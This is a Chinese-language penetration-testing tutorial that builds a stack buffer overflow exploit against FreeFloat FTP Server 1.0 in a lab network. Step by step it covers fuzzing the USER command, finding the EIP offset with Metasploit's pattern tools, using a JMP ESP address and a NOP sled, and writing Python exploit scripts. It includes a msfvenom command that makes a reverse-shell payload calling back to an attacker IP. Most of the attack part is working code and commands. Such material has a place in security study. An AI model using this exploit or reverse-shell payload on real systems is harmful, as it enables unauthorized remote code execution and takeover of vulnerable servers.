缓冲区溢出
- 缓冲区:暂时置放输出或输入资料的内存
- 缓冲区溢出:缓冲区溢出是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上。
溢出漏洞测试
测试准备
- 渗透测试目标:FreeFloat FTP Server1.0,该软件带有溢出漏洞
- WindowsXP系统:将该软件放入WindowsXP中,IP地址为192.168.75.130
- Windows 7系统:对该软件进行测试,该主机需带装有python运行环境,IP地址为192.168.75.131。
- Kali Linux系统
测试过程
在WindowsXP中运行软件
如图所示:
在Windows7中开始测试
正常登录
在终端依次输入以下命令连接FTP:
ftp
open 192.168.75.130 //WindowsXP的IP地址
输入任意用户名和密码登录到FTP,如图所示:
现在我们已经成功登录,可以使用FTP中的任意资源了。(这里使用任何一个用户名都可以成功登录)
溢出测试
我们重复正常登录的步骤,只不过此次测试的用户名和密码我们可以输入超长字符串进行测试,测试的同时使用wiresharke进行抓包分析:
测试1(超长字符串a,字符串长度随机):
对上述操作所抓取的数据包如下所示:
测试2(超长字符串b,字符串长度随机):
对上述操作所抓取的数据包如下所示:
进行上述测试后,我们发现目标的系统仍然正常登录,系统并没有崩溃。但是,对数据包进行分析,我们会发现不论我们随机输入多少超长字符串,最终发送的只有78个字符(a、b),显然这个长度的字符串无法引起溢出,但是我们可以通过自行构造数据包,然后将数据包发送出去。
用Python编写数据包
在Windows 7中安装Python运行环境(IDLE),在IDLE中执行下列代码:
import socket #导入需要使用的socket库
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建一个套接字
connect = s.connect(('192.168.75.130'),21) #利用套接字建立目标的连接
s.send('USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n') #通过套接字将随机超长字符串(上百位)以数据包的形式发送出去
在WindowsXP界面出现如下窗口则证明发送溢出:
点击生成错误报告,可以查看发生错误的地址信息:
计算软件溢出的偏移地址
EIP寄存器:用来存储CPU要读取指令的地址
根据错误报告的地址信息,以及溢出原理,出现这种情况的原因是下一条保存地址的EIP寄存器中的地址被溢出的字符“a”所覆盖,”\x61”(16进制)在ASCII表中表示的就是字符’a,也就是说现在EIP寄存器的内容就是’aaaa’,而操作系统无法在这个位置找到一条可以执行的命令,从而引发系统的崩溃。
我们可以在错误报告中看到EIP寄存器的地址,但是程序在操作系统中的执行是动态的,也就是说每一次这个软件执行时所分配的地址都是不同的,所以我们现在需要知道EIP寄存器相对于输入数据起始位置的相对偏移。
借助Metasploit计算溢出的相对偏移地址
要计算EIP寄存器相对于输入数据起始位置的相对偏移,需要使用Metasploit中内置的两个工具pattern_create和pattern_offset
使用pattern_create创建字符串
pattern_create可以用来创建一段没有重复字符的文本,我们将这段文本发送到目标服务器,当发生溢出时,记录下程序发生错误的地址(也就是EIP中的内容),这个地址其实就是文本中的四个字符。
启动Kali,打开终端输入以下指令:
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -h //pattern_create.rb是一个由ruby语言编写的脚本,使用-h参数可以查看可以使用的参数以及用法
./pattern_create.rb -l 500 //生成一段500个字符的文本
输出结果:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
在python编写的数据包将send()函数传递的超长字符串换为上述文本,即在编写数据包部分将最后的传输数据部分替换为:
s.send('USER Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\r\n')
同样地,该超长字符串会引发windowsXP中的FTP软件的溢出错误,我们同样可以根据错误报告获得溢出的地址:
使用pattern_offset计算偏移地址
在Kali终端输入以下命令:
cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -h //查看帮助
./pattern_offset.rb -q 37684136 -l 500 //-q后的参数为上述错误报告中的出错地址,-l为pattern_create中生成字符串的长度
输出结果:230
上述命令的输出结果230就是EIP寄存器相对于输入数据起始位置的相对偏移,所以我们只需提供230个字符”a”就可以使FTP发生溢出错误。我们重复之前的步骤,将python构建数据包的步骤改为执行下列代码:
import socket
buf = "\x61"*230+"\x62"*4 //230个'a'字符,4个'b'字符
target = "192.168.75.130" //FTP所在主机的IP地址
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
s.send("USER "+buf+"\r\n")
s.close() //关闭套接字
执行结束后可以看到FTP程序已经崩溃,并且产生如下图所示错误报告:
从上图的错误地址62626262可以看出,EIP的地址已经为字符“bbbb”,这验证了我们找到的偏移地址的正确性。
查找JMP ESP指令
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
因为操作系统在程序的每一次执行过程中都会为其分配不同的地址,所以即使我们可以决定程序下一步执行的地址(EIP中的内容),但是不知道我们的攻击载荷位于哪个位置,所以还是没有办法让目标服务器执行这个恶意的攻击载荷。
接下来我们就要想个办法,让EIP中的地址指向我们的攻击载荷,我们首先需要看一下输入的用户名数据在执行时是如何分布的,如下图所示:
按照栈的设计,ESP寄存器应该就位于EIP寄存器之后(中间可能有一些空隙),如下图所示:
因为这种设计,ESP寄存器就是我们最理想的选择,原因如下:
- 我们在使用大量字符来溢出栈的时候,也可以使用特定的字符来覆盖ESP
- 我们虽然无法对ESP寄存器进行定位,但是可以利用一条“JMP ESP”(汇编指令)的跳转指令来实现跳转到当前ESP寄存器。
查找地址不会改变的JMP ESP指令
接下来,我们需要做的工作是找到一条地址不会发生改变的JMP ESP指令。
- ntdll.dll(NT Layer DLL)是Windows NT操作系统的重要模块,属于系统级别的文件。用于堆栈释放、进程管理。
- kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件,属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。
- 一些经常会用到的动态链接会被映射到内存,如kernel32.dll、user32.dll会被几乎所有进程加载,且加载的基址始终相同(不同的操作系统可能不同)。我们只需在这些动态链接库中找到JMP ESP命令就可以了,此时我们找到的JMP ESP的地址就一直都不会变。
dll文件中的JMP ESP指令的地址可以通过调试器或代码执行找到。
编写渗透测试程序
字节序
现在我们找到的JMP ESP指令的地址(假设为7C9D30D7)还存在一个问题,同样的地址数据在网络传输和CPU存储时的表示方法是不同的:
- 大端(Big-Endian):高位在前(其中“前”是指靠近内存的低地址,存储在硬盘上就是先写的字节)
- 小端(Little-Endian):低位在前(低位字节存储在内存低地址,字节高低顺序和内存高低顺序相同)
网络字节序(Network Byte Order)一般指大端(对大部分网络传输协议而言),大小端的概念是面向多字节数据类型的存储方式定义的。
编写脚本
我们找到的JMP ESP的地址(7C9D30D7)其实是小端格式,如果我们希望使用7C9D30D7来覆盖目标地址,在使用Python编写渗透程序时就应该倒置地址’\xD7\x30\x9D\x7C’
此时,我们的脚本应为:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.75.130',21))
buf = "\x61"*230+"\xD7\x30\x9D\x7C" //填充230个'a'后到达EIP寄存器,"\xD7\x30\x9D\x7C"就是此时EIP寄存器中的内容
s.send('USER'+buf+"\r\n")
要对目标主机进行缓冲区溢出攻击,只需在传送的数据之后加上我们想要目标计算机上执行的代码即可(即payload),详情请对shellcode编程进行了解,下文我们采用shellcode代替这部分代码:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.75.130',21))
buf = "\x61"*230+"\xD7\x30\x9D\x7C"+shellcode //填充230个'a'后到达EIP寄存器,"\xD7\x30\x9D\x7C"就是此时EIP
寄存器中的内容
s.send('USER'+buf+"\r\n")
注:shellcode也可以使用metasploit来生成: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.75.129 LPORT=443 -b ‘\x00\x0a\x40’(坏字符) -f c
加入空指令
完成上述操作后,目标的系统FTP已经崩溃,但是,我们的shell代码却没有启动,原因就是ESP的地址向后发生了偏移,这样就导致了shellcode的代码并没有完全载入到ESP中,最前面的一部分在ESP的外面,从而导致程序不能正常执行。
解决上述问题的一个方法就是加入空指令”\x90”(NOPS),这个指令不会执行任何实际操作,但它也是一条指令,因此会顺序地向下执行这样即使我们不知道ESP的真实地址,只需要在EIP后面添加一些空指令,只要这些空指令足够多到将shellcode偏移进ESP,就可以顺利执行shellcode。所以此时,我们的脚本代码中的buf应该改为以下代码:
buf = "\x61"*230+"\xD7\x30\x9D\x7C"+"\x90"*20+shellcode //
坏字符
虽然上述渗透测试程序编写得很成功,但是在实际中却未必如此顺利。我们在上述示例中发送的数据都是FTP用户名的内容,如果FTP对用户名输入有限制,并过滤了一些字符,而我们的shellcode中也包含了这种不被允许的字符,就可能导致FTP服务器拒绝接收后面的内容,从而导致代码只传了一部分。所以找出坏字符也是我们溢出漏洞攻击的一个重要环节。